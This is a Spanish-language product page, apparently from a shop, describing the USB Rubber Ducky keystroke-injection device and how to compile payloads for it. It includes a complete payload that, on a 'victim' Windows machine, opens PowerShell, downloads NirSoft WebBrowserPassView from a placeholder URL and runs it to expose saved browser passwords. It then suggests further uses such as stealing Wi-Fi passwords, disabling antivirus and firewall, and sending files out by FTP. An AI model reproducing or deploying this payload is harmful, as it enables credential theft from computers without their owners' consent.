Descripción
USB Rubber Ducky es un dispositivo HID (Human Interface Device) o dispositivo de interfaz humana, es decir dispositivos de entrada y salida que permite la interacción con un ordenador, y en concreto, USB Rubber Ducky es detectado como un teclado en cualquier sistema operativo donde lo conectemos (Windows, Linux, OSX y Android).
USB Rubber Ducky utiliza un código de programación sencillo y mediante un editor de texto se pueden crear los payloads. A modo de ejemplo, tenemos las siguientes instrucciones:
- WINDOWS r: Abrir la ventana de Ejecutar de Windows
- STRING cadena de texto: mediante la instrucción STRING se da la orden de lo que se quiere escribir, en este caso escribiría “cadena de texto” (sin comillas).
- ENTER: emula la tecla Intro.
¿Cómo funciona?
- Lo primero que debemos hacer es insertar la tarjeta microSD en el adaptador/lector de tarjetas, que es donde cargaremos el payload.
- Escribiremos el payload en un fichero de texto.
- Cargaremos el payload en la tarjeta MicroSD.Para ello utilizamos el Encoder para compilar y cargar el payload que hemos desarrollado. La ultima versión disponible del Encoder es la versión 2.6.3 y se puede encontrar aquí, el cual está basado en Java y debemos tener instalado.La instrucción para cargar el payload en la tarjeta SD sería la siguiente:
javar –jar duckyencoder.jar –i nuestropayload.txt –o /rutaUSB/inject.bin –l resources es.properties -i: input del payload de entrada. -o: ruta hacia la tarjeta microSD donde cargaremos el payload, por defecto el nombre es inject.bin. -l: parámetro de configuración del idioma del teclado.
Dentro de la carpeta Encoder tenemos una carpeta llamada Resources con los idiomas disponibles de configuración del teclado. Si no se especifica idioma, por defecto utiliza us.properties.
Otras opciones para compilar el payload es mediante interfaz gráfica con EncoderGUI y también a través de este generador online.
- Una vez se ha generado correctamente el binario, colocaremos la microSD en el USB Rubber Ducky.
- Ya lo tenemos todo listo, ya sólo nos queda conectar el USB Rubber Ducky en el ordenador victima y dejar que se ejecute automáticamente el binario.
Caso de ejemplo
Como ejemplo, vamos a crear un payload que consiste en mediante una consola de comandos de Windows, descargar el programa WebBrowserPassView de Nirsoft, el cual permite ver en texto plano todas las contraseñas almacenadas en los navegadores.
El payload seria el siguiente:
REM Target: Windows 7 REM Descarga de un fichero exe y la ejecución del mismo DELAY 3000 REM --> Minimizar todas las ventanas WINDOWS d REM --> Abrir consola de Windows cmd WINDOWS r DELAY 500 STRING cmd.exe ENTER DELAY 500 STRING powershell ENTER DELAY 500 STRING $src="http://URL" ENTER STRING $dst="$env:userprofile\browserpassview.exe" ENTER STRING (New-Object System.Net.WebClient).DownloadFile($src, $dst) ENTER DELAY 500 STRING exit ENTER STRING %USERPROFILE%\browserpassview.exe ENTER DELAY 500 ENTER DELAY 100
Nota: URL: se debe sustituir por la URL desde donde descargaremos WebBrowserPassView.exe.
Aunque este es un sencillo ejemplo, tenemos muchas posibilidades, como por ejemplo: extraer información de la WIFI, extraer passwords de los usuarios del equipo, desactivar antivirus y firewall, enviar ficheros por FTP, cargar un script con powershell, realizar fotografías con la webcam, y un largo etcétera.
Espero que os haya parecido interesante para quien no lo conociera. Como he comentado también podemos cargar payloads para OSX, Linux y Android, aunque todavía estoy en proceso de probarlo, pero que en futuros posts os contaré las novedades, por supuesto!
Y para finalizar, el resultado tras la ejecución de este gracioso payload que espero que tengáis en cuenta 🙂
*Descripción obtenida de https://www.securityartwork.es/2015/12/23/me-parecio-ver-un-lindo-patito-usb-rubber-ducky/
Valoraciones
No hay valoraciones aún.